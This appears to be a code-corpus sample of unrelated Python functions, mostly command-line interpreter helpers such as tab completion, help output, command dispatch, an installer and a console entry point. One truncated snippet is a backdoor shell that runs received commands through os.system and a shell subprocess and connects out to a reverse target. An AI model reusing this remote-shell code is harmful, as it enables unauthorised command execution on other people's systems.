def completenames(self, text, line, *ignored): """ This method overrides the original completenames method to overload it's output with the command available in the 'allowed' variable This is useful when typing 'tab-tab' in the command prompt """ commands = self.conf['allowed'] commands.append('help') if line.startswith('./'): return [cmd[2:] for cmd in commands if cmd.startswith('./%s' % text)] else: return [cmd for cmd in commands if cmd.startswith(text)]
def completenames(self, text, *ignored): """Return all commands starting with `text`, for tab-completion.""" names = self.get_names() first = [cmd for cmd in names if cmd.startswith(text.replace("_", "."))] if first: return first return [cmd for cmd in names if cmd.partition(".")[2].startswith(text)]
def run_command(self, module, cmd, params): """ run a module command with given parameters """ try: mod = self.modules[module] except (AttributeError, KeyError): if module in self.excluded_errs: for err_msg in self.excluded_errs[module]: logger.error(err_msg) return -1 else: logger.error("no module '{}' loaded".format(module)) return -1 # if the module does not return any methods (returned None) # we simply call the module's name method if not mod[1]: if params is not None: params.insert(0, cmd) cmd = mod[0].__module__ if cmd.startswith("opensipscli.modules."): cmd = cmd[20:] elif not cmd and '' not in mod[1]: logger.error( "module '{}' expects the following commands: {}".format( module, ", ".join(mod[1]))) return -1 elif cmd and not cmd in mod[1]: logger.error("no command '{}' in module '{}'".format(cmd, module)) return -1 logger.debug("running command '{}' '{}'".format(cmd, params)) return mod[0].__invoke__(cmd, params)
def replace_alias(self, cmd): """check if alias exists and if so, replace command""" for alias in self.conf.alias: if cmd.startswith(alias) and \ (len(cmd) == len(alias) or cmd[len(alias)] == " "): cmd = cmd.replace(alias, self.conf.alias[alias], 1) return cmd
def complete_iface(self, text, line, begidx, endidx): if not text: completions = self.__iface__[:] else: completions = [ cmd for cmd in self.__iface__ if cmd.startswith(text)] return completions
def onecmd(self, line): """Interpret the argument as though it had been typed in response to the prompt. This may be overridden, but should not normally need to be; see the precmd() and postcmd() methods for useful execution hooks. The return value is a flag indicating whether interpretation of commands by the interpreter should stop. """ cmd, arg, line = self.parseline(line) if not line: return self.emptyline() if cmd is None: return self.default(line) self.lastcmd = line if line == 'EOF' : #self.lastcmd = '' raise EOFError() if cmd == '': return self.default(line) # Support all commands but also command replacement if cmd.startswith(':') or cmd in ('ls', 'cd'): try: func = getattr(self, 'do_' + cmd.lstrip(':')) except AttributeError: return self.default(line) return func(arg) else: return self.default(line)
def complete(text, state): for cmd in COMMANDS: if cmd.startswith(text): if not state: return cmd else: state -=1 return (glob.glob(text+'*')+[None])[state]
def complete_iface(self, text, line, begidx, endidx): if not text: completions = self.__iface__[:] else: completions = [ cmd for cmd in self.__iface__ if cmd.startswith(text) ] return completions
def complete(text, state): for cmd in COMMANDS: if cmd.startswith(text): if not state: return cmd else: state -= 1 return (glob.glob(text + '*') + [None])[state]
def completenames(self, text, *ignored): """Return all commands starting with `text`, for tab-completion.""" names = self.get_names() first = [cmd for cmd in names if cmd.startswith(text.replace('_', '.'))] if first: return first return [cmd for cmd in names if cmd.partition('.')[2].startswith(text)]
def complete_delete(self, text, line, begidx, endidx): """Complete on actions and names of notes""" if begidx == len("delete "): return [cmd for cmd in ["post", "comment ", "note "] if cmd.startswith(text)] if begidx == len("delete note "): notes = self.get_notes() return [note for note in notes if note.startswith(text)] if begidx == len("delete comment "): numbers = [str(n + 1) for n in range(len(self.post.comments))] return [s for s in numbers if s.startswith(text)]
def do_help(self,args): rargs='do_'+args if args and rargs in dir(self) and hasattr(self.__getattribute__(rargs),'__doc__'): if self.__getattribute__(rargs).__doc__: for line in self.__getattribute__(rargs).__doc__.splitlines(): print(line.strip()) elif args and not rargs in dir(self): print('Command "{}" does not exists'.format(args)) else: for cmd in dir(self): if cmd.startswith('do_') and hasattr(self.__getattribute__(cmd),'__doc__'): if self.__getattribute__(cmd).__doc__: print(cmd[3:]+':',self.__getattribute__(cmd).__doc__)
def print_topics(self, header, cmds, cmdlen, maxcol): if cmds == ['help']: return if cmds: self.stdout.write("%s\n"%str(header)) if self.ruler: self.stdout.write("%s\n"%str(self.ruler * len(header))) newcmds = [] for cmd in cmds: if cmd.startswith('_'): newcmds.append('.' + cmd[1:]) else: newcmds.append(cmd) self.columnize(newcmds, maxcol-1) self.stdout.write("\n")
def print_topics(self, header, cmds, cmdlen, maxcol): if cmds == ['help']: return if cmds: self.stdout.write("%s\n" % str(header)) if self.ruler: self.stdout.write("%s\n" % str(self.ruler * len(header))) newcmds = [] for cmd in cmds: if cmd.startswith('_'): newcmds.append('.' + cmd[1:]) else: newcmds.append(cmd) self.columnize(newcmds, maxcol - 1) self.stdout.write("\n")
def _parseFirstArg(cmd): cmd = cmd.strip() if cmd.startswith('"'): # The .replace() is to ensure it does not mistakenly find the # second '"' in, say (escaped quote): # "C:\foo\"bar" arg1 arg2 idx = cmd.replace('\\"', 'XX').find('"', 1) if idx == -1: raise WinIntegError("Malformed command: %r" % cmd) first, rest = cmd[1:idx], cmd[idx+1:] rest = rest.lstrip() else: if ' ' in cmd: first, rest = cmd.split(' ', 1) else: first, rest = cmd, "" return first
def precmd(self, line, max_commands_to_print_header=1, command_index_to_print_from=1): lines = None try: lines = self.clean_line(line) if not lines: # allow empty lines return "" except Exception as e: logger.error(e) return "" for line in lines: if line[0] in self.commands: return " ".join(line) if len(lines) > max_commands_to_print_header: if len(line) > 1 and any( cmd.startswith(line[0]) for cmd in MULTILEVEL_COMMANDS): index = command_index_to_print_from else: # If single level command then print from first index. For example: health, features, grep etc. index = 0 print "\n~~~ %s%s%s ~~~" % (terminal.bold(), ' '.join( line[index:]), terminal.reset()) sys.stdout.write(terminal.reset()) try: response = self.ctrl.execute(line) if response == "EXIT": return "exit" except Exception as e: logger.error(e) return "" # line was handled by execute
def getcmds(self): """return list of do_* commands defined for this object""" # Inheritance says we have to look in class and # base classes; order is not important. cmdDict = {} # use dictionary to eliminate duplicates classes = [self.__class__] while classes: aclass = classes[0] if aclass.__bases__: classes = classes + list(aclass.__bases__) for cmd in dir(aclass): cmdDict[cmd] = 1 del classes[0] cmds = cmdDict.keys() # remove non-do_*() methods doCmds = [] for cmd in cmds: if cmd.startswith("do_"): doCmds.append(cmd) # sort and return doCmds.sort() return doCmds
def do_help(self, arg): """Show help for commands Usage: help <command> [<argument>] """ if not arg: self.do_help('help') for (name, command) in self.commands.iteritems(): self.io.put('#{BLUE}%s#{NONE}' % name) for cmd in dir(command): if cmd.startswith(self.method_prefix): cmd_name = cmd[len(self.method_prefix):] helptext = getattr(command, cmd).__doc__ \ or 'no documentation' helptext = helptext.replace('\n', ' ') helptext = re.sub('\s{2,}', ' ', helptext) self.io.put(' #{BOLD}%s#{NONE} - %s' % \ (cmd_name.ljust(16), helptext)) else: doc = self.get_help(arg) if doc: self.io.put("%s" % doc) else: self.io.put("No help found.")
def run_command(self, module, cmd, params): try: mod = self.modules[module] except (AttributeError, KeyError): logger.error("no module '{}' loaded".format(module)) return -1 # if the module dones not return any methods (returned None) # we simply call the module's name method if not mod[1]: if params is not None: params.insert(0, cmd) cmd = mod[0].__module__ if cmd.startswith("opensipscli.modules."): cmd = cmd[20:] elif not cmd: logger.error( "module '{}' expects to run one of {} commands".format( module, ", ".join(mod[1]))) return -1 elif not cmd in mod[1]: logger.error("no command '{}' in module '{}'".format(cmd, module)) return -1 logger.debug("running command '{}' '{}'".format(cmd, params)) return mod[0].__invoke__(cmd, params)
def complete_cmd(self, text, line, begidx, endidx): if text: return [cmd for cmd in self.commands if cmd.startswith(text)] else: return [cmd for cmd in self.commands]
def do_exit(self,args): """exit session""" return False def do_help(self,args): """Out of Order""" return "use bd_help" def do_exec(self,args): return os.system(args) def default(self,args): return subprocess.Popen(args,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read().strip() #END commands #BEGIN genearte cmdlist bdcmd.cmdlist=[] for cmd in dir(bdcmd): if cmd.startswith("do_"): bdcmd.cmdlist.append(cmd.replace('do_',"")) #END generate cmdlist #BEGIN main loop while 1: if mode=="bind": sock,addr=bsock.accept() if mode=="reverse": connected=False while not connected: try: sock=socket.socket() sock.connect((revtarget,port)) connected=True except socket.error as e:
def install(self, config): if config['--dryrun']: print('cd /opt') else: os.chdir('/opt') if self.SOURCE: source = self.SOURCE if source.find('.git') >= 0: sources = source.split(' ') if len(sources) > 1: source = sources[0] srcDir = sources[1] else: srcDir = source.split('/') srcDir = srcDir[-1].replace('.git','') else: srcDir = source.split('/')[-1].rsplit('.')[1] srcDir = self.get_source(config, source, srcDir) if not config['--dryrun']: print("Starting installation of "+self.NAME+' in '+srcDir) self.RC = 0 for cmd in self.COMMANDS: if cmd.startswith('cd '): if config['--dryrun']: print(cmd) else: self.RC = os.chdir(cmd.replace('cd ','')) if self.RC: print("FAIL: '"+cmd+"' returned RC="+self.RC) break elif cmd.startswith('mkdir '): if config['--dryrun']: print(cmd) else: dirs = cmd.split(' ') dirs.pop(0) for nDir in dirs: if os.path.isdir(nDir): shutil.rmtree(nDir) os.mkdir(nDir) elif cmd.startswith('export '): if config['--dryrun']: print(cmd) else: exports = cmd.split(' ') exports.pop(0) for export in exports: key,val = export.split('=') os.environ[key] = val elif cmd.startswith('install-'): cmd = os.getenv('MINING_ROOT','/opt/mining')+'/install/'+cmd if config['--dryrun']: print(cmd) else: os.system(cmd) elif cmd.startswith('ln '): if config['--dryrun']: print(cmd) else: parms = cmd.split(' ') if os.path.lexists(parms[3]): os.remove(parms[3]) os.symlink(parms[2], parms[3]) else: if config['--dryrun']: print(cmd) else: self.RC = os.system(cmd) if self.RC: print("FAIL: '"+cmd+"' returned RC="+str(self.RC)) break #[ -n "$RUN_ALL_TESTS" ] && ./ccminer --algo=neoscrypt --benchmark if self.RC != 0: with open('/etc/profile.d/'+self.NAME+'.sh','a+') as fh: fh.write("export INSTALL_"+self.NAME.upper().replace('-','_')+"_DONE=`date --utc +%Y-%m-%dT%H-%M-%SZ`\n") if not config['--dryrun']: print("Finished installation of "+self.NAME) print("Exiting due to errors, RC="+str(self.RC)) sys.exit(self.RC) return 0
def main(argv): # Parse command line arguments parser = commonUtils.MainCmdArgParser(APC_HOME, 'Console arguments.', 'console') parser.add_argument('--cmd', help="Execute a single command in batch mode") parser.add_argument('-f', '--filename', help="Execute all cmds inside the file") parser.add_argument('-i', '--interactive', type=bool, default=True, help="Interactive mode") parser.add_argument('-n', '--name', help="APC client-id") args = parser.parse_args() if not args: print parser.errmsg sys.exit(1) endPoints = commonUtils.ApiEndpointBuilder(APC_HOME, args.api_proto, args.api_ipcpath, args.api_host, args.api_port) if args.name: APC_ENDPOINT = endPoints.getClientEndpoint('APC_ENDPOINT_PATH', args.name) APC_LOG_ENDPOINT = endPoints.getClientEndpoint('APC_LOG_ENDPOINT_PATH', args.name) else: # if there is only one APC running, connec to it numApcRunning = 0 apcInfo = [] for proc in psutil.process_iter(): try: pInfo = proc.as_dict(attrs=['pid', 'name', 'cmdline']) if pInfo['name'] == 'apc': numApcRunning = numApcRunning + 1 apcInfo = pInfo except psutil.NoSuchProcess: pass if numApcRunning == 0: print "APC is not running, please use apcctl to start APC then try again." sys.exit(1) elif numApcRunning == 1: try: location = apcInfo['cmdline'].index('--client-id') # the APC client-id value is the next APCName = apcInfo['cmdline'][location + 1] APC_ENDPOINT = endPoints.getClientEndpoint( 'APC_ENDPOINT_PATH', APCName) APC_LOG_ENDPOINT = endPoints.getClientEndpoint( 'APC_LOG_ENDPOINT_PATH', APCName) except ValueError: print "APC is running without client-id, please check." sys.exit(1) else: print "{0} APCs are running, don't know which one to connect to. Please retry with -n option.".format( numApcRunning) sys.exit(1) ctx = zmq.Context() # Print BANNER print BANNER # apc RPC client apc = ApcClient(ctx, APC_ENDPOINT) rpcClientsDic = {APC_CLIENT_NAME: apc} # Notification listeners log_console = NoSecLogConsole(ctx, "logListener", APC_LOG_ENDPOINT, rpcClientsDic[APC_CLIENT_NAME]) listenersDic = {'logListener': log_console} commander = CommandLineHandler(rpcClientsDic, listenersDic) if args.cmd: l = commander.precmd(args.cmd) r = commander.onecmd(l) r = commander.postcmd(r, l) if not args.interactive: #To unsubscribe listeners(stop threads). commander.unsubscribeAllListeners() elif args.filename: try: fd = open(args.filename, 'r') printInfo('Loading commands from {0}'.format(args.filename)) for cmd in fd: cmd = cmd.strip() if cmd.startswith('#'): continue printInfo('exec: {0}'.format(cmd)) l = commander.precmd(cmd) r = commander.onecmd(l) r = commander.postcmd(r, l) fd.close() except IOError as exc: printError("FILE_NOT_FOUND", str(exc)) if not args.interactive: #To unsubscribe listeners(stop threads). commander.unsubscribeAllListeners() else: try: commander.cmdloop() except: print "Command failed, please check if APC is running" # Close listeners and RPC clients log_console.close()